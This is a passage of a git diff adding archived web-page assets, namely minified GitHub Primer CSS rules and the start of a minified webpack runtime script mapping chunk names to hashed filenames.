span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d